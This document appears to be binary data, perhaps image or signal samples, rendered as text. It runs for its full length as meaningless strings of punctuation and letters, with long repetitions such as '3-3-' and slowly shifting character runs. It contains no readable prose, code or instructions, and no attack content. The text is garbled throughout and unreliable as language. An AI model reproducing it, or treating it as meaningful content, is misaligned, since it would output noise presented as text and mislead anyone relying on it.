HWRJWQLVQNVQOUQQVPSUPUUPWUPXUPYUO[UN]TM^TM`TNbUNdTMhRLjQKmPKpPJtPIwOIyPI|OH~LHLHLHLHKGKGIFHEGEFDFDFDGDFAE?F?F@G@G@G@G?G?F@E?F?E?E@EAECGBF@B=<874/-'## |!s"h0+eIGo]Z{^\z^]xMJh/,O%#L# N!N J"F$!? )$4,$1,$.,$+,$&-& .'.'/)0*1+ 1,2+2+1+0+1,1,2-2-2-3-3-3-3-3+3+3+3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2,2,2,3-3-3-3.4/5061:3:5<7?9B;E=G?JAKDMGOHQJSLTNWPZR\T^W_Yc[e]f_ialcmengqislvnxpzr{t~vxz|øƺȻʾ˿˿ɽƺĸ¶}{~x{uxsuprmoklhjehcd`b^_[\XZUWRTORLOJLHIEFCC@A=>:;89664311.-+*((%$"!   !#!%$'&+)/,2/518497<9>;A>DAFDHGLIOLROUQWSZW]Y`[c^e`idlhniplrnvqxs|wy|~÷Źƺɽ˿ȼƺĸ¶}zxw|uzrxpvnslqjngldjbg`f^d\bZ`X^V[SYQWPUNRLPINFLEKCHAF?D=B:@9>7;582605.4-4-4,3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,5,5,6,6,7,7,6-4-3-2-0./...,/,/..0.2-3,4+4*4*3+1,1-1.4-5,4,2,0-1,4+6+9*9*8,5-2.0.2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5-5-5-5-3-3-3-2-2,2,1+2+2*1+/+ .+ .*.).),(,'#+'&*&**$/+#4*#8*"<("A%!E%!H% J% O#T#Y"]!behlorw{$ )&/*61;6B=D?E?F@FAF@FAD@C@D@DAFBFBFBEAEAEAEAEAEAFCGDHDIDHDJDJEKFLGLGMHNHNHMHNI|NIyNJxPJvOKsOKqPLoQLkQNhSNeRObSOaSO_SP^RO]TP\TO[TPYSPWTPUTQSUQPVRNWRMWRKWRHVRGVRFXSEYSDXSCXRCXSBWR@XS>YS>YS=YTYS=YS>YS>WR?XS@WSBVRDWRFWRHWRJVRJVQLVRMVROUPSUOUVOXVPYUO[UN]TN`TMaSMcSLfRLhSLiSLkRLlRMlRMlQLnQLpPLrPKvNKwNJ{MI~MHLHLGMFLFJEIDIEHDIDHDFCEBEBEBDBDBDAEAE@FAFAFAG@G@G@F?E?F@GAE?C=B==:720+*%%!!}xssn!h"_&!V)&N.,N40Q0,K)%D'$C&$B%#A$#=$#8(%4*&/+&*-&%/'!/'.'/'/(/)1) 1+2+3-3-4-4-3.3-3-3.3.3.3.3-3-3-3-3,3+3+3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2,2,2,2,2-3-3-3-4/507284<7>7?9B<E>G?IALDNFOIRJTMUOWQZS]U_WaYc[e]g_ialcofphrjtlwnzq{r}uwy{}øƺȽ˾˿ɽǺĸ}z}x{uxsvprmoklhiegbd`a]^[\XYUWRUORLOJLGIEFCB@@==:;78553300-.,*('%$#!       !#!%$(&+*/-2/517496<8?;B?CAFDJGLJOMROTQXTZW]Y_[b^ebifkgniolsnuqzu|wz|~øŹǻɾ˾ɽǺŹ÷µ}zyw}tzsxpvntlqjogmekch`f_d\cZ`Y^V[TZRXPUNSKPJNGMFKDIBG@D=C;A:>7;593705.5-5,4-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,2+3+4+6,7,8,8-5-2-.-+-(-%-#-!-",%,),++-+.*-*.*.+.-/.1/4.6,4-0...-.0-4,8*;*;*:,8,6-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,5,5,5,3-3-4.4-3,3+3+3+3+1,1,1+0* 0*.*.).).(-( -&#-&(.&,+%0)$4("6("9'">&!C% H$M"R!V [ _ behkmor!y%!&#-)72?:C?E@D@A?@?B?C@DBEBECDCDCCBDADADACADCECECEBFCGCGDHDIEIFKFJFJFJGJHKHKHLHMH~NI{NJxOLuOLrOLpOLnOMmPMlPLkPMiPMiQMgPMeQMbQO_SO]SP[TPYTPWUPVTPTUPSWPSXPRWPQWPQWPOWPMWPKWOJXPIXPHYPHXQFYQFXRCXR?YR?XR?YR?XS>YS=YSWS@XTBXSBXSDWSEWRFWQFWQHXQLXQLXPMWQOWPPVPRVOTVOVUOXTOZTN[UO]TN^SMaSLcSMdRMgRMiRLjQLlQKoOJqOIuOIwOIxOIyNIzOKzMK{MJ|MI~LILHJHJGJFIEIEIFJDHCGBGAEAEAGBFBEAD@D@D@CACADADADAEAD@D@D@D@EAE?D?D?A<83/+'"# ytqnked]"Z%T%!L&#E'$B&!>)#?)#=% 6)%6'%0'&+)&',(#.(/'0(1*0*0*1) 0*0+2+3,4-4.5.6.6.5/3-3-3-3.3.3-3-3-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2,2,2,2-2.3-3.3.406284;6@:A:B<D>GAIAKDNFPIQKTMVOXQZT\V_XbZc[e^h`jblcofqhsjumxnzq|s~uwy{~øƺȽʿ̿˾ɽƺŸ~z|xzvxsupsmojliiffce`a^^[[YXUVRTPSMOJLHIFEBC@?>=:;89562301.-++)'&$"!      !"%$''**-,1/326496<:>>@@BBFEHGKJNLPOURWUYW[Z^\c_echekgmiplqnuqws{w~y|~ĸƺǼɽʾȼƹ÷|{xv}s{qzowmtkriqhofmejbh`e]c\aY_W]UZSXQVOTLRJOINGLEJCH@E>C;@:?8=7;3817/5-4,4,5,4,2,3-3-3-3-2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,4.4.4.3-.+.+1+3,4-4-3.0-+-&. #/ 1 5 8$%=+'?-+@-.@,->**:#(6(5)1).*,-*6-;.8+4+3..0+.-/1.5+9*;*;+;,9,6,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3+3+3+3,3,3,3-3-3-3-3,3,3,3,3-3-3,3*2)0) 0) /* .*.)/(/)/(-' ,&$+&'+&*+%.*$3("7&!<%!A$G"K!O"R"U X[ ]beimovz ~$ +'3/<:>=B?C@DADADACBDBDBDBCAB@B@CACACBDACAEADACBECFEGCEBFBHDIFIFIEJFJGJFJFKGKILILI}KI{MJ{MJzLIxMJxMJuMJsNJrNLoPMmQNjQMhQNfRNeRNcSMbUNaUNaUN`TN_TN^VO\VOZUNYVOXWPVWPUVPSWPSWQOXQKXRJXRJXRIWRHWRGXRFXRDXRDXRDXRDYSCZSBYS@YS?YS?YS?YS?YT>XT>YT>YT>YUYT>YT>YS?YS?YS?XTAXTAXTBXSCXSCXSCVSCUTEUSFUSFVTHVSIVRKVRLVSNVRPVQQWRRWQTWQTWPWWOYVNZVO\VN^VM`UMaTMcSMeSLgRLiRLjQLkPKlPLmPLoPLoPKqPLrOKuNKwNIzMI|MILHKHKGKGJGIGJGJGIGIFGEFCDBCADCECFDFAD?E@FAHBHCGAFAFBDADAD@C@A?B@C@C@C@C@B@C@>:73-*&$"|xvutql g c _ZVR M"I%F'"@'%9(&6)$5+$5,#2*#++&'+'",),*.*0)3)1) 0+0+0,2,2,2-3-3-5-5-5-5-5-5-5,5,5,5-5-5-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-3-3-3-3-4/8193:6<8>9A<D=E?HAJCMEOHRISLUNXPZR\T^WaYcZe]f^halcmeofritkvmxo{q}svx{|~Źǻʾʽǻƺĸ~|}wzuwrtpqmnkkhiefcc``]^[\XYVVRSPRNPJLHIEFCCAA?=<;986522/.-,**('%$""     ""$$''+*-,1/326397<;==@@CBFEIGLJNLSPTRWTYWZY^\c`ebgdjgmiolsouqxt{w~y{~ŹǻʽʾȻƸķµ~}{xv~t|q{pynumskqhpgnelbi`f^c[aY`X^U[TZRWPUNTLQJOHMFKBI@G?E=B;@9>7<392706.5-5,5-3-3-3-3-3-2.2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.3-3-4.4.2,2,2-2/3111-/*1(3 ';0K.<`KBna@sl7oo2kp3lr4mr3mp3ln1kj.gd,b]._W6_S'"A'!D$ G"K#N#P#V#Z"_ c!h llnq w{!)%0-84>:B>A>B?D@DAEBEAEBECDBDAC?C?EAHDIEGCE@C?D@GBGCFAEBFBGBHCHCIDJDJEIEJEIEIEJGKHJHJHKHKHLHLI}MI|MJzNJxNJvNJuPKtQKqQKpPKoPLnQKlQLjQLiSLhSMfSMdTMdTNcTNbUO_UQ[UQZUQYVPYUPXVPVUQUUPTVQRVQRVQRVQQWQPWQNWQMWQLWQLWQLWQKWRKWRKWSJWSJVRIVRHVSGVSFXSFYSFYSEYSEYSDYSFYSDYRCYRBYRBYSBYSBYSBYSBYSBYSBYSBYSBYSBYSBYSBYSBYSBYSBYSBYSBYSBXSCWSDXTDXTDXTDXSEXSFXSFXSFXRGXRGYSHYSHYSHWSJWRKVRKVRKVQLVQLURLVROVQOUQPUQPUQPVQPUQSTQUTQUTPVTPYSP[TO[SO]RN^RN`RNaRNcRNcSNdSMfSMhSLiQLjRLmRKnQJpQJrPJtPIuNIxMHyMIzMI|MI}NI~NIMIMJMJLIKHJGJGIGIGJGHFGCEBEBECFCEBEAGCFCFBFBDBDAFBICF@D?C>D?E?D?D>D?FAF@C>@=?=?=?;;830)%!}xtpligec `"\#W$S$P#N# J#!F#"@%#<&":) 9*#3+'*+(',&'.%&/%#.&/(/*/,1- 2,4+6*4+1-0-0.2.2.2.3-3-4-5,5,5,5,5,5,5+5,5,5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-3-4.4/5072:4;6=9>:A<D>F@IBKDLFOHQJTLVOYQ[S\U_XbZc[f^g_hajdnfogriukvmypzr}tvy{}ĸǼɿͿʽǻŹ÷|z~xxsuqsopmnkkhgfecb`_]^ZZXXVUSSPQMNKLHGEEBB@?><<::763310.,,**'&$$""    !!$$(&*)-,//216488::==??BBEDHGJJOLQOTQVSXV[Y_\a_cafdifliokqntqwszv~x{~¶ŹƺȽ̿˿ɼǺŸ¶}{ywu}s{pyowmuksjpgnelciaf^d\cZaY^V]UZRYQVOUMSJPHMFLDIBG?E=C<A:>6=4;2806/6.5.4.4.3-3-3-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.3-3-4.3-2,3-5,5/20)0#3 "=!G))^H-pc8;7/)**&"  )/ss._X(D9(5&-//* 0*3/400././/.-/,/,1,3,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2-2-2-2.2.2.2.2.2.2.2.2.3.6-6-5,5+5+5+3+2+2,2,2,0+1+1+0* /) /).).(-'+'+' +&$+&(+$-*%/*$3("8&!<&!?% B%G%K$P$T$Y#]"`!b!c eknpr!u"z% /*3.93=7?:BC?E?E?E?F@E?D>F?GAG@F@F?GAGAGAGAGAGAGAHBHBGBHBIAHAHBHDHEGEHEHEHEHEIFJGKGKGKGKGMHLIMJ}MJ|LI{NJyNJxNJvOKuOKsPLrQLqPLoPKoQLmQMlQMkQNjRMiQNgRNgRNfQNdSNbSNbSNbSNaTO`TN^TO]TO]TO\TP[TP[TP[SOYSOYSOXSPWSPWSPWTPUUPUVPTVPTVPTVPSVPTUQRVPRUQQUQQVQQUQQVQQVQQWQQWQQWQQWQQWQQWQQWQQWQQWQQWQQWQQWQQWQQVQQUPRUPRUQRUQRVQTVQUVQTVQUVPVVPVVPVVPVVPWVPYTPZSP[SP[SP[SO\RO]SO_SO`SO`SNaRNbSNbRNcRNfPNgPMhQNiPMkQLmPLnOLoOKpOKqNJrOKtOKuOJvOJvOJvNJxNJyNI{NI}MILHLHKHKGJGJGJFKEKEJEKFKFKFIEHDHDHDGDGDGDFAE@E@E@D@E?D>E?D?E@FAEAD@D@C?FAHBIDHBF@E@F@C?@<<88451/+)%#{tpn!n i e!b$`%^%\%X"O#!I&"E'"B(">("='"<'#:'%0(%,)#+,"-,#','-)/'/&1&1'0) 0+0,2-3,5,7+5,2.2.2.2.2.2.3-3-3-3,3+3+3+4+4+5*4+3+3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.6/8092;5>7?9A;B=D?HAJCMENFOHSKUMXOZQ]S^U`XbZd\g^i`kblcnfrisjulxnzq|r~uvy|~´ķƹǻʾʾɼǻŸö}{y}w{uvpsopmmjlhheecb`_]\ZZXWUVSRPPMMKKHIEEAB>?=<;:9764310.-+)('&$#!!    "!$#(&*)-,0.315486::<<?>BAEDGGKINLQNSPUSXV\Y^\`^c`gcjfmhokrnupws{t}wz}·ŸǺʽ̿ʽǺŸõ~|ywv}t|qypwmultjqhoflcjag_e]c[aY`W^V\SYQWOUMSKPHNFLDJBH@F>C<@:?8=5;3916/6.4-3-3-3-3-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,3-3-3-5/7/20)1"7!H)(aI)uf+),+($$%%!"$~#gl%VV+JA,<'(/',/-2.4020.-,-,-.-0-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2.2.2.2.2.2/2/2/2/3.5-6-5,5+5+4,4,2,2,2-2,1,1+2+2+1+0+/*/* /* -),(,(-(-(-'-'#,%(*$,*$/)#2)"7)";( ?) D'H%J%N&R'T&V$]$`#a"b!c"h!k mp"u&{*$0*3-61:5?9BE?G@HAG@F@F>F?H?G@F@FAFAE@F@GAGAGAFAFAG@G@F@FBFCECEBFBEBEBGDHEHDHDHEGDIEHFIGJHIHJGKHKHKILILIMIMJMI~MI}NI|NI|NI{MIzMIyOJwNJvNJuOJsOKrOKrPKrQKqPKnPLlQKmPLlQKlQKlPLkQKjOMiPLhPMgPMgPMgQMfSMeSNdTMdTMdSNdTMdSNbSMaRMaRMaSNaRO_SN`SN`SN`SN`SN`SN`SN_SN`SN`SN`SN`SN_SN`SN`SNaSNaRNbRNbSNcSNcSNdSNdSNdSMeSMfSMfSMfSMhSMhQLiPLkOLkOMkOLkOLlNKmPKoOKqOKrOKrNKrPKsNKtNJwMIxNJxMIzLI{MI}LI~KHKHKHKGJHKGLGLHLHKHKGLGKGJFIFIFHFHEHEHEHCHAGAHBHBHBHBFBFBFBFBFBFBFBEAE@F@GAGAHAGAF@F@F@GAGAE?D@FBFAD@B>?;<8:4601,+&%!y"t p!m"j"g!e"d"a#^$[%W%R%N&K%I&E&!@'$:)%5+%2,%/,$.,%.+%(*'"*)+),(/%/%.)/) 1) 1( 2( 2(2*1,2-2.3-5-7,5,3-2.2.2.2.2.3-3-3-3,3+3+3+3+3+4+3+3+3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4-4-4.5/81:2<5>8A:B<C>E?HBKDMFOHQIRKVMXP[Q]T_VaXbZe]g^i`kbmeofqitkvmxo{q}s~uwy|´ķǹɼ˾ʽȼƹŷö}z~x|vztwrsnplmikgidebc__\\ZYWWTURSOOMMJJHHEEAA>?<<::8754310.-+*(&%##!!     " %#)&*(-+0.21638698<;>>BAEDIGKINKQMTPVSXV\X^Z`]d`fcjfmhqjrmtowqyt}wy|öƸȻʽ;ͿʽǻŸõ´~|zyv~t|rzpwnultjqhoflcjag_e]c\cY`W^U\TZRXPUMSKQINFLEKBI@G?C<A:?8>6;381706.4-2,2,3-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5143+4 #;!M1&jX/0+# !!|&km)UJ;).(,1-91701-.-,-.-1-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.3-4-5-5,5+5+3,3-3-3-3.3-3-2,2,3-2-1-1,2,1,/,/*/* .* /*0*/).)-(-( -'",&',&*+$.,$4+#6*"9*"=*"@(!@' B%H%K%N$P#R$V#[#^#a"c!f!h!k"p"t$z)#-'2,4/92=7A;E?G@G@G@GAFBFBEBD@D@FAGBFBFBFAFAFAFAEADBEBEBDADADAFBFBEAEBEBEAEBEDFEFEGEGEGDGEHEIFJFJEKFKFJFJFJFJFJEJEKFKFKFKGKGLGMHMHMG~MH|NH}NH|NH|NH{MHzNIzNIyNJxMJwMJvMJvMJvOJvPKuPJuPKuPKuQJuOKsOJrOKqOKqOKqNLoPKqPKpPKpPKpPKpPKqPKoPKqPKpPKpPKqPKoPKqPKpOKqNKrNKsOKsNKsOKtOKuOKuOJtNJuOIvOJvOJwOJxOJxNIyMIzLIzLIzLI{LH|LG}MHLHLGLGKGKGKGJFJFJFIFIFJFIFHEHFIEGDGEHEHEHEHDHEHDIDGDGDFDFCFBFCECEBFAF@F@GAFAFAFAGAFAFAFAFAFAFAFBFBFAF@F@F?F@IBGAFAE@E?B=?:7531/,*(($}%"x$ r"l"i!e"c"a"_#\#Y#W#U%T&Q'O'K' F) A*!?*#;)#9)"5*$2+&--''/'$/'!0&!/'-'-*-- ../-1) 2) 